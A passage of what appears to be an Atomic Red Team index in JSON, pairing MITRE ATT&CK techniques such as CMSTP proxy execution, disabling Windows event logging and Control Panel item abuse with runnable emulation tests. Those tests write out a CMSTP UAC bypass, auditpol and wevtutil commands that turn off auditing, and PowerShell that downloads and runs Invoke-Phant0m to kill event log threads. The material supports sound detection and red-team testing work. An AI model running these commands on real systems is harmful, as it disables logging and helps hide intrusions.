adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Host forensic analysis", - "Signature-based detection", - "Static File Analysis", - "Anti-virus" - ] - }, - "atomic_tests": [] - }, - "T1218.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Nik Seetharaman, Palantir", - "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", - "type": "attack-pattern", - "created": "2020-01-23T18:27:30.656Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.003", - "url": "https://attack.mitre.org/techniques/T1218/003" - }, - { - "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)", - "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.", - "source_name": "Microsoft Connection Manager Oct 2009" - }, - { - "url": "https://twitter.com/ItsReallyNick/status/958789644165894146", - "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.", - "source_name": "Twitter CMSTP Usage Jan 2018" - }, - { - "url": "https://msitpros.com/?p=3960", - "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", - "source_name": "MSitPros CMSTP Aug 2017" - }, - { - "url": "https://twitter.com/NickTyrer/status/958450014111633408", - "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.", - "source_name": "Twitter CMSTP Jan 2018" - }, - { - "url": "https://github.com/api0cradle/UltimateAppLockerByPassList", - "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", - "source_name": "GitHub Ultimate AppLocker Bypass List" - }, - { - "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.", - "source_name": "Endurant CMSTP July 2018" - } - ], - "modified": "2022-03-11T18:38:36.109Z", - "name": "Signed Binary Proxy Execution: CMSTP", - "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Network Traffic: Network Connection Creation", - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1218.003" - }, - "atomic_tests": [ - { - "name": "CMSTP Executing Remote Scriptlet", - "auto_generated_guid": "34e63321-9683-496b-bbc1-7566bc55e624", - "description": "Adversaries may supply CMSTP.exe with INF files infected with malicious commands\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "inf_file_path": { - "description": "Path to the INF file", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.003\\src\\T1218.003.inf" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "INF file must exist on disk at specified location (#{inf_file_path})\n", - "prereq_command": "if (Test-Path #{inf_file_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{inf_file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003.inf\" -OutFile \"#{inf_file_path}\"\n" - } - ], - "executor": { - "command": "cmstp.exe /s #{inf_file_path}\n", - "name": "command_prompt" - } - }, - { - "name": "CMSTP Executing UAC Bypass", - "auto_generated_guid": "748cb4f6-2fb3-4e97-b7ad-b22635a09ab0", - "description": "Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "inf_file_uac": { - "description": "Path to the INF file", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.003\\src\\T1218.003_uacbypass.inf" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "INF file must exist on disk at specified location (#{inf_file_uac})\n", - "prereq_command": "if (Test-Path #{inf_file_uac}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{inf_file_uac}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003_uacbypass.inf\" -OutFile \"#{inf_file_uac}\"\n" - } - ], - "executor": { - "command": "cmstp.exe /s #{inf_file_uac} /au\n", - "name": "command_prompt" - } - } - ] - }, - "T1562.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", - "type": "attack-pattern", - "created": "2020-02-21T20:46:36.688Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1562.002", - "url": "https://attack.mitre.org/techniques/T1562/002" - }, - { - "source_name": "Windows Log Events", - "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/", - "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020." - }, - { - "source_name": "EventLog_Core_Technologies", - "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/", - "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021." - }, - { - "source_name": "Audit_Policy_Microsoft", - "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy", - "description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021." - }, - { - "source_name": "Advanced_sec_audit_policy_settings", - "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings", - "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021." - }, - { - "source_name": "auditpol", - "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol", - "description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021." - }, - { - "source_name": "Disable_Win_Event_Logging", - "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging", - "description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021." - }, - { - "source_name": "auditpol.exe_STRONTIC", - "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html", - "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021." - }, - { - "source_name": "T1562.002_redcanaryco", - "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md", - "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021." - }, - { - "source_name": "def_ev_win_event_logging", - "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/", - "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021." - }, - { - "source_name": "evt_log_tampering", - "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c", - "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021." - } - ], - "modified": "2021-10-19T13:37:30.534Z", - "name": "Impair Defenses: Disable Windows Event Logging", - "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \n\nIn Event Viewer, Event ID 1102 under the \u201cSecurity\u201d Windows Log and Event ID 104 under the \u201cSystem\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Sensor Health: Host Status", - "Command: Command Execution", - "Script: Script Execution", - "Windows Registry: Windows Registry Key Creation", - "Process: Process Creation", - "Application Log: Application Log Content" - ], - "x_mitre_defense_bypassed": [ - "Log analysis" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "identifier": "T1562.002" - }, - "atomic_tests": [ - { - "name": "Disable Windows IIS HTTP Logging", - "auto_generated_guid": "69435dcf-c66f-4ec0-a8b1-82beb76b34db", - "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).\nThis action requires HTTP logging configurations in IIS to be unlocked.\n\nUse the cleanup commands to restore some default auditpol settings (your original settings will be lost)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "website_name": { - "description": "The name of the website on a server", - "type": "string", - "default": "Default Web Site" - } - }, - "executor": { - "command": "C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:true\n", - "cleanup_command": "if(Test-Path \"C:\\Windows\\System32\\inetsrv\\appcmd.exe\"){\n C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:false *>$null\n}\n", - "name": "powershell" - } - }, - { - "name": "Disable Windows IIS HTTP Logging via PowerShell", - "auto_generated_guid": "a957fb0f-1e85-49b2-a211-413366784b1e", - "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).\nThis action requires HTTP logging configurations in IIS to be unlocked.\n\nUse the cleanup commands to restore some default auditpol settings (your original settings will be lost)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "website_name": { - "description": "The name of the website on a server", - "type": "string", - "default": "Default Web Site" - } - }, - "executor": { - "command": "set-WebConfigurationProperty -PSPath \"IIS:\\Sites\\#{website_name}\\\" -filter \"system.webServer/httpLogging\" -name dontLog -value $true\n", - "cleanup_command": "if(Test-Path \"C:\\Windows\\System32\\inetsrv\\appcmd.exe\"){\n C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:false *>$null\n}\n", - "name": "powershell" - } - }, - { - "name": "Kill Event Log Service Threads", - "auto_generated_guid": "41ac52ba-5d5e-40c0-b267-573ed90489bd", - "description": "Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore\n$url = \"https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1\"\n$output = \"$env:TEMP\\Invoke-Phant0m.ps1\"\n$wc = New-Object System.Net.WebClient\n$wc.DownloadFile($url, $output)\ncd $env:TEMP\nImport-Module .\\Invoke-Phant0m.ps1\nInvoke-Phant0m\n", - "cleanup_command": "Write-Host \"NEED TO Restart-Computer TO ENSURE LOGGING RETURNS\" -fore red\nRemove-Item \"$env:TEMP\\Invoke-Phant0m.ps1\" -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Impair Windows Audit Log Policy", - "auto_generated_guid": "5102a3a7-e2d7-4129-9e45-f483f2e0eea8", - "description": "Disables the windows audit policy to prevent key host based telemetry being written into the event logs.\n[Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "auditpol /set /category:\"Account Logon\" /success:disable /failure:disable\nauditpol /set /category:\"Logon/Logoff\" /success:disable /failure:disable\nauditpol /set /category:\"Detailed Tracking\" /success:disable\n", - "cleanup_command": "auditpol /set /category:\"Account Logon\" /success:enable /failure:enable\nauditpol /set /category:\"Detailed Tracking\" /success:enable\nauditpol /set /category:\"Logon/Logoff\" /success:enable /failure:enable\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Clear Windows Audit Policy Config", - "auto_generated_guid": "913c0e4e-4b37-4b78-ad0b-90e7b25010f6", - "description": "Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "auditpol /clear /y\nauditpol /remove /allusers\n", - "cleanup_command": "auditpol /set /category:\"Account Logon\" /success:enable /failure:enable\nauditpol /set /category:\"Detailed Tracking\" /success:enable\nauditpol /set /category:\"Logon/Logoff\" /success:enable /failure:enable\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Disable Event Logging with wevtutil", - "auto_generated_guid": "b26a3340-dad7-4360-9176-706269c74103", - "description": "Wevtutil can be used to disable logs. \nNOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "log_name": { - "description": "Name of the log to be disabled", - "type": "string", - "default": "Microsoft-Windows-IKE/Operational" - } - }, - "executor": { - "command": "wevtutil sl \"#{log_name}\" /e:false\n", - "cleanup_command": "wevtutil sl \"#{log_name}\" /e:true\n", - "name": "command_prompt" - } - }, - { - "name": "Makes Eventlog blind with Phant0m", - "auto_generated_guid": "3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741", - "description": "Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_name": { - "description": "exe version of Phant0m", - "type": "path", - "default": "PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Phant0m.exe must exist on disk at specified location (#{file_name})\n", - "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe\" -OutFile \"#{file_name}\" -UseBasicParsing\n" - } - ], - "executor": { - "command": "PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe\n", - "cleanup_command": "echo \"Sorry you have to reboot\"\n", - "name": "command_prompt" - } - } - ] - }, - "T1218.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "ESET" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", - "type": "attack-pattern", - "created": "2020-01-23T19:59:52.630Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.002", - "url": "https://attack.mitre.org/techniques/T1218/002" - }, - { - "source_name": "Microsoft Implementing CPL", - "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", - "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx" - }, - { - "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", - "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", - "source_name": "TrendMicro CPL Malware Jan 2014" - }, - { - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", - "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", - "source_name": "TrendMicro CPL Malware Dec 2013" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", - "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", - "source_name": "Palo Alto Reaver Nov 2017" - }, - { - "source_name": "ESET InvisiMole June 2020", - "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020." - } - ], - "modified": "2022-03-11T19:01:55.821Z", - "name": "Signed Binary Proxy Execution: Control Panel", - "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Process: Process Creation", - "File: File Creation", - "Process: OS API Execution", - "Command: Command Execution", - "Module: Module Load" - ], - "x_mitre_defense_bypassed": [ - "Application control" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "identifier": "T1218.002" - }, - "atomic_tests": [ - { - "name": "Control Panel Items", - "auto_generated_guid": "037e9d8a-9e46-4255-8b33-2ae3b545ca6f", - "description": "This test simulates an adversary leveraging control.exe\nUpon execution calc.exe will be launched\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "cpl_file_path": { - "description": "path to cpl file", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Cpl file must exist on disk at specified location (#{cpl_file_path})\n", - "prereq_command": "if (Test-Path #{cpl_file_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{cpl_file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl\" -OutFile \"#{cpl_file_path}\"\n" - } - ], - "executor": { - "command": "control.exe #{cpl_file_path}\n", - "name": "command_prompt" - } - } - ] - }, - "T1599.001": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de", - "type": "attack-pattern", - "created": "2020-10-19T16:48:08.241Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1599.001", - "url": "https://attack.mitre.org/techniques/T1599/001" - }, - { - "source_name": "RFC1918", - "url": "https://tools.ietf.org/html/rfc1918", - "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020." - } - ], - "modified": "2020-10-21T01:45:58.951Z", - "name": "Network Address Translation Traversal", - "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device\u2019s configuration to determine if any unintended NAT rules have been added without authorization.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Network Traffic: Network Traffic Flow", - "Network Traffic: Network Traffic 